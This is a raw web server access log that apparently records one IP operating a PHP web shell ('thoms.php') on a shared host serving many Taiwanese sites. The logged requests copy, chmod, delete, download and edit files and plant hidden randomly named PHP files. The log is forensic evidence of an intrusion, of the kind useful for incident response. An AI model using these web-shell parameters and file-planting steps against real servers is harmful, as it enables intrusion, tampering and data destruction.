45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?p=&settings=1 HTTP/1.1" 200 11836 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?copy=bogroup.com.tw&p= HTTP/1.1" 200 12255 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:08 -0400] "GET /big-wife.com.tw/thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17558 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?chmod=cgi-bin&p= HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?p=wp-content HTTP/1.1" 200 13459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?copy=.htaccess&p= HTTP/1.1" 200 12240 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?p= HTTP/1.1" 200 21879 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?p= HTTP/1.1" 200 21695 "https://163.245.207.76/big-wife.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?chmod=betcity.com.tw&p= HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?copy=betcity.com.tw&p= HTTP/1.1" 200 12258 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?del=booking-wise2.com.tw&p= HTTP/1.1" 200 21790 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?copy=booking-wise2.com.tw&p= HTTP/1.1" 200 12263 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?p=cgi-bin HTTP/1.1" 200 13326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?chmod=upgrade&p= HTTP/1.1" 200 11427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?copy=thoms.php&p= HTTP/1.1" 200 12242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 21782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?p=&upload= HTTP/1.1" 200 12121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12525 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?chmod=bioway88.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?dl=thoms.php&p= HTTP/1.1" 200 21843 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?del=ba-guo.com-20260912023525&p= HTTP/1.1" 200 21778 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /big-wife.com.tw/thoms.php?del=besth2o.com.tw&p= HTTP/1.1" 200 21788 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flocoy.php&p= HTTP/1.1" 200 12263 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11368 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:09 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11314 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11329 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flocoy.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flocoy.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11392 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17876 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flocoy.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11860 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flocoy.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flocoy.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /big-wife.com.tw/cgi-bin/?ND= HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /big-wife.com.tw/cgi-bin/?MA= HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 18253 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flocoy.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /thoms.php?edit=wp-config-sample.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 16635 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /thoms.php?edit=wp-config-sample.php&p=big-wife.com.tw HTTP/1.1" 200 13059 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /big-wife.com.tw/cgi-bin/?SA= HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /big-wife.com.tw/upgrade/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /thoms.php?edit=wp-activate.php&p=big-wife.com.tw HTTP/1.1" 200 14577 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /thoms.php?edit=wp-activate.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 18180 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /thoms.php?del=.598633700255332.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14349 "http://163.245.207.76:443/thoms.php?del=.598633700255332.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:10 -0400] "GET /thoms.php?dl=error_log&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14380 "http://163.245.207.76:443/thoms.php?dl=error_log&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:11 -0400] "GET /thoms.php?del=index.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14373 "http://163.245.207.76:443/thoms.php?del=index.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:11 -0400] "GET /thoms.php?dl=termps.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14358 "http://163.245.207.76:443/thoms.php?dl=termps.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:11 -0400] "GET /big-wife.com.tw/upgrade/.598633700255332.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:11 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade%2Ftxets.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade%2Ftxets.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:11 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade&settings=1 HTTP/1.1" 200 11912 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fupgrade&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:11 -0400] "GET /big-wife.com.tw/upgrade/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:11 -0400] "GET /big-wife.com.tw/upgrade/txets.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:11 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade%2F.598633700255332.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade%2F.598633700255332.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:11 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14205 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade%2F.598633700255332.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:11 -0400] "GET /thoms.php?del=postnews.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14184 "http://163.245.207.76:443/thoms.php?del=postnews.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:11 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade&view=.577848875820371.php HTTP/1.1" 200 12403 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fupgrade&view=.577848875820371.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:11 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade%2Findex.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade%2Findex.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:11 -0400] "GET /big-wife.com.tw/upgrade/postnews.php HTTP/1.1" 200 114 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:11 -0400] "GET /thoms.php?dl=index.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14185 "http://163.245.207.76:443/thoms.php?dl=index.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:11 -0400] "GET /thoms.php?chmod=termps.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=termps.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:11 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade&upload= HTTP/1.1" 200 12178 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fupgrade&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:11 -0400] "GET /thoms.php?del=txets.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14198 "http://163.245.207.76:443/thoms.php?del=txets.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade%2F.577848875820371.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade%2F.577848875820371.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade&view=admin.php HTTP/1.1" 200 38766 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fupgrade&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /thoms.php?chmod=admin.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /thoms.php?dl=postnews.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14176 "http://163.245.207.76:443/thoms.php?dl=postnews.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /big-wife.com.tw/upgrade/.770545370729360.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /thoms.php?del=termps.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14003 "http://163.245.207.76:443/thoms.php?del=termps.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /thoms.php?chmod=.htaccess&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /thoms.php?dl=.htaccess&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 13975 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /thoms.php?del=.577848875820371.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 13981 "http://163.245.207.76:443/thoms.php?del=.577848875820371.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /thoms.php?chmod=.770545370729360.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=.770545370729360.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 13982 "https://163.245.207.76:443/thoms.php?chmod=.770545370729360.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade%2F.770545370729360.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade%2F.770545370729360.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /thoms.php?del=error_log&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 13983 "http://163.245.207.76:443/thoms.php?del=error_log&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade%2Ftermps.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade%2Ftermps.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
